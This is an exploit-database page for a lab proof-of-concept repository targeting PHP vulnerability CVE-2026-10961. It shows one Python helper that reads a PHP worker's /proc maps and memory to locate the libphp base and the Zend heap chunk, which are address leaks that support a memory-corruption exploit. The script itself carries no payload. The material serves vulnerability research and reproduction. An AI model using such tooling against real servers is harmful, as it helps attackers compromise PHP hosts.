Exploit database

GH-30e76a71e7d985cfcfb3db9ddfb9e427

dinosn/php-cve-2026-10961x-lab-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-10961

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files5
dinosn/php-cve-2026-10961x-lab-pocRevision 6e0989762b58

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

e2e/nb_env.py

Suggested starting filePython · 2,162 bytes
#!/usr/bin/env python3
"""nb_env.py - resolve the worker's Zend MM chunk base and libphp base
without gdb, from /proc/<pid>/maps (+ /proc/<pid>/mem verification).

Usage: nb_env.py <worker_pid>
Prints:
  LIBPHP=0x...
  CHUNK=0x...
  CHUNK_CANDIDATES=...
The chunk is the main Zend MM chunk: a 2 MiB anonymous rw-p mapping whose
first qword (zend_mm_chunk.heap) points at chunk+0x40 (heap_slot) and whose
next/prev are self-referential.  If /proc/pid/mem is unreadable we fall back
to the unique 2 MiB-aligned anonymous rw-p mapping.
"""
import sys


def parse_maps(pid):
    libphp = None
    cands = []
    for line in open("/proc/%d/maps" % pid):
        parts = line.split()
        rng = parts[0]
        start_s, end_s = rng.split("-")
        start, end = int(start_s, 16), int(end_s, 16)
        perms = parts[1]
        offset = int(parts[2], 16)
        path = parts[5] if len(parts) >= 6 else ""
        if path.endswith("/libphp.so") and offset == 0:
            libphp = start
        if (path == "" and perms == "rw-p" and end - start == 0x200000
                and start % 0x200000 == 0):
            cands.append(start)
    return libphp, cands


def read_mem(pid, addr, n):
    try:
        with open("/proc/%d/mem" % pid, "rb", buffering=0) as f:
            f.seek(addr)
            return f.read(n)
    except Exception:
        return None


def verify_chunk(pid, base):
    b = read_mem(pid, base, 0x20)
    if not b or len(b) < 0x18:
        return None
    q = [int.from_bytes(b[i:i + 8], "little") for i in (0, 8, 16)]
    ok_heap = (q[0] & ~0x1FFFFF) == base or q[0] == base + 0x40
    ok_links = q[1] == base and q[2] == base
    return ok_heap and ok_links


def main():
    pid = int(sys.argv[1])
    libphp, cands = parse_maps(pid)
    print("LIBPHP=%s" % (hex(libphp) if libphp else "0"))
    print("CHUNK_CANDIDATES=%s" % [hex(c) for c in cands])
    chosen = 0
    for c in cands:
        v = verify_chunk(pid, c)
        if v is True:
            chosen = c
            break
        if v is None:
            chosen = chosen or c
    print("CHUNK=%s" % (hex(chosen) if chosen else "0"))


if __name__ == "__main__":
    main()